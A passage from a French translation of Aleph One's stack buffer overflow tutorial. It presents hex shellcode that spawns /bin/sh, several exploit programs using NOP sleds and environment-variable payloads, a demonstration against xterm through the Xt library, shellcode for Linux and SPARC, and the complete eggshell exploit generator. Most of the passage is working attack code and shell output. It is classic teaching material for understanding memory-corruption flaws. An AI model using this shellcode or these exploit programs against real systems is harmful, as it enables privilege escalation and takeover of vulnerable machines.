--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
Notre code amélioré :
shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 octets
popl %esi # 1 octet
movl %esi,0x8(%esi) # 3 octets
xorl %eax,%eax # 2 octets
movb %eax,0x7(%esi) # 3 octets
movl %eax,0xc(%esi) # 3 octets
movb $0xb,%al # 2 octets
movl %esi,%ebx # 2 octets
leal 0x8(%esi),%ecx # 3 octets
leal 0xc(%esi),%edx # 3 octets
int $0x80 # 2 octets
xorl %ebx,%ebx # 2 octets
movl %ebx,%eax # 2 octets
inc %eax # 1 octets
int $0x80 # 2 octets
call -0x24 # 5 octets
.string \"/bin/sh\" # 8 octets
# total : 46 octets
");
}
------------------------------------------------------------------------------
Et notre nouveau programme de test :
testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
Ecrire un Exploit
~~~~~~~~~~~~~~~~~
(ou comment exploiter la pile)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Essayons de rassembler les diverses pièces. Nous avons le shellcode. Nous
savons qu'il peut etre mis dans la chaine que nous utiliserons pour overflooder
le buffer. Nous savons que nous devons faire pointer l'adresse de retour vers
le buffer. Cet exemple montre ces points :
overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------
Nous avons remplit le tableau large_string[] avec l'adresse de buffer[],
ce qui est l'emplacement de notre code. Puis nous copions notre shellcode
dans le début de la chaine large_string. strcpy() va ensuite copier
large_string dans le buffer sans faire aucun test de taille, et va dépasser
sur l'adresse de retour, y réécrivant l'adresse de notre code. Une fois que
nous avons atteint la fin de main et que le programme essaie de retourner de
la fonction main, ca saute à notre code et exécute un shell.
Un problème qui apparait quand nous essayons d'overflooder le buffer d'un
autre programme est d'essayer de trouver quel sera l'adresse du buffer (et
donc de notre code). La réponse est que pour tout les programmes la pile
commence à la meme adresse. La plupart des programme ne mettent pas plus de
quelques centaines ou milliers d'octets dans la pile à la fois. Donc en
sachant où la pile commence nous pouvons essayer de deviner où se situe le
buffer que nous essayons d'overlooder. Violà un petit programme qui affiche
son pointeur de pile :
sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------
Considérons que le programme que nous essayons d'exploiter est :
vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
Nous pouvons créer un programme qui prendra en paramètre une taille de
buffer et un offset à partir de SP (où nous croyons que le buffer que nous
voulons exploiter est situé). Nous metterons la chaine d'overflow dans une
variable d'environnement donc facile à manipuler :
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
Maintenant, nous pouvons essayer de deviner ce que la taille du buffer et
l'offset pourraient etre :
------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
Comme nous pouvons le constater, ce n'est pas très efficace. Essayer de
deviner l'offset meme en sachant où est le début de la pile est quasiment
impossible. Nous auront besoin au mieux d'une centaine d'essaies et au pire
de deux milliers. Le problème est que nous devons deviner *exactement* où
notre code commencera. Si nous sommes dans l'erreur seulement d'un octets
on va malgré tout obtenir un segfault ou un illegal instruction. Un moyens
d'augmenter nos chances et de remplir le début du buffer avec des instructions
NOP. Pratiquement tout les processeurs possèdent une instruction NOP qui ne
fait rien. C'est utilisé d'habitude pour retarder l'exécution pour des
questions de timing. Nous en tirerons avantage et remplirons la moitié de
notre buffer avec. Nous placerons le shellcode au centre et le ferons suivre
avec l'adresse de retour. Si nous sommes chanceux et que l'adresse de retour
pointe n'importe où dans la série de NOPs, ils vont etre exécuter jusqu'à
atteindre notre code. Sur les architecture Intel l'instruction NOP fait un
octet et son code machine est 0x90. Considérons que la pile commence à
l'adresse 0xFF, que S représente le shell code, et que N représente une
instruction NOP, alors la nouvelle pile ressemblera à :
bas de la DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF haut de la
mémoire 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF mémoire
buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
bas de la haut de la
pile pile
Le nouvel exploit est alors :
exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
Une bonne valeur pour la taille de notre buffer est d'environs 100 octets
de plus que la taille du buffer que nous essayons d'overflooder. Cela placera
notre code à la fin de ce dernier, donnant beaucoup de place pour les nops,
mais modifiant encore l'adresse de retour par l'adresse que nous voulons. Le
buffer que nous essayons d'exploiter fait 512 octets, donc nous utiliserons
612. Essayons de faire le buffer overflow sur notre programme de teste avec
notre nouvel exploit :
------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
Cool ! Du premier coup ! Cela a multiplié par une centaine nos chances.
Essayons maintenant sur un cas réel de buffer overflow. Nous utiliserons
pour notre démonstration le buffer overflow sur la librairie Xt. Pour notre
exemple, nous utiliserons xterm (tous les programmes lié à la lib Xt sont
vulnérable). Vous devez faire tourner un serveur X et autoriser les connexions
à partir de localhost. Réglez la variables DISPLAY correctement.
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1?FF
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1?FF
Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1?FF
Warning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------
Eureka ! Moins d'une dizaine d'essaie et nous avons trouvé les nombres
magiques. Si xterm avait le bit suid root on a maintenant un shell root.
Petits Buffer Overflows
~~~~~~~~~~~~~~~~~~~~~~~
Il y aura des moments où le buffer que vous voulez exploiter est tellement
petit que meme le shellcode ne tiendra pas dedans et l'adresse de retour sera
réécrite par des instructions au lieu de l'adresse de notre code, ou le
nombre de NOPs que vous pouvez y faire tenir est tellement petit que les
chances de deviner une adresse correcte est miniscule. Pour obtenir un shell
de ces programmes nous allons voir un autre moyen de faire. Cette approche
particulière ne marche que si vous avez accès au variables d'environnement
du programme.
Nous allons placer notre shellcode dans une variable d'environnement, puis
faire déborder le buffer avec l'adresse de cette variable en mémoire. Cette
méthode augmente également vos chances de voir l'exploit fonctionner car
vous pouvez stocker un code aussi gros que vous le souhaitez dans la variable
d'environnement.
Les variables d'environnement sont stocké au haut de la pile quand le
programme est lancé, toute modification ultérieure par setenv() sont allouée
ailleur. La pile au début ressemble donc à :
<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
Notre nouveau programme prendra un arguments en plus, la taille de
la variable contenant le shellcode et les NOPs. Notre nouvel exploit
ressemble désormais à :
exploit4.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
Essayons notre nouvel exploit avec notre programme de test vulnerable :
------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------
Ca fonctionne à la perfection. Maintenant essayons sur xterm :
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------
Du premier coup ! Selon le nombre de variables d'environnement que le
programme d'exploit possède en comparaison de celles du programme que l'on
essaie d'exploiter, l'adresse à deviner peut etre plus faible ou plus grande.
Essayez aussi bien les offsets positifs et négatifs.
Trouver les Buffer Overflows
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Cpmme signalé plus haut, les buffer overflows sont le résultat d'une
tentative de mettre plus de donnée dans un buffer qu'il n'est prévu. Comme C
ne possède aucunne vérification de taille en interne, les buffer overflows se
manifestent souvent par l'écriture au-delà de la fin d'un tableau de
caractères. La librairie standard C fournit un certain nombre de fonctions
pour copier ou concaténer des chaine qui ne réalisent pas de vérification de
taille. Elles incluent : strcat(), strcpy(), sprintf(), et vsprintf(). Ces
fonctions travaillent sur des chaines terminé par le caractère nul et ne font
pas de vérification pour éviter le buffer overflows. gets() est une fonction
qui lit une ligne de stdin et la stocke dans un buffer jusqu'à une nouvelle
ligne ou un EOF. Aucune vérification n'est faite pour prévenir du buffer
overflow. La famille de fonctions scanf() peuvent également etre utilisé si
vous demandez une séquence de caractères non blanc (%s), ou une séquence non
vide de caractères d'une sélection prédéfinie (%[]), que le tableau pointé
par le pointeur sur char n'est pas assez large pour accepter la séquence
entière de caractère et que le champs optionnel maximum width n'a pas été
défini (NDT : il s'agit en fait des formats bugs). Si la cible de toute ces
fonctions est un buffer de taille statique et que ces autres arguments
dérivent d'une manière quelconque d'une entrée utilisateur, il y a de bonnes
chances que vous soyez en mesure d'exploiter un buffer overflow.
Une autre structure de programme que l'on trouve couramment est l'usage
d'une boucle while pour lire un caractère à la fois à partir de stdin ou d'un
fichier vers un buffer jusqu'à ce que EOL (fin de ligne), EOF ou un delimiteur
quelconque soit rencontré. Ce type de construction utilise habituellement une
de ces fonctions : getc(), fgetc() ou getchar(). S'il n'y a pas de test
explicite pour éviter le buffer overflow dans la boucle while alors le
programme est facilement exploitable.
Pour conclure, grep(1) est votre ami. Les sources pour les OS libres et
leurs outils peuvent etre lues. Le fait devient assez vite interessant une
fois qu'on a réalisé que plusieurs OS commerciaux sont dérivés des meme
sources que les OS libres.
Appendice A - Code de Shell pour différents Systèmes et Architectures
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
i386/Linux
------------------------------------------------------------------------------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
------------------------------------------------------------------------------
SPARC/Solaris
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------------
SPARC/SunOS
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
------------------------------------------------------------------------------
Appendice B - Prog de buffer overflow génériques
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
------------------------------------------------------------------------------
eggshell.c
------------------------------------------------------------------------------
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
}
------------------------------------------------------------------------------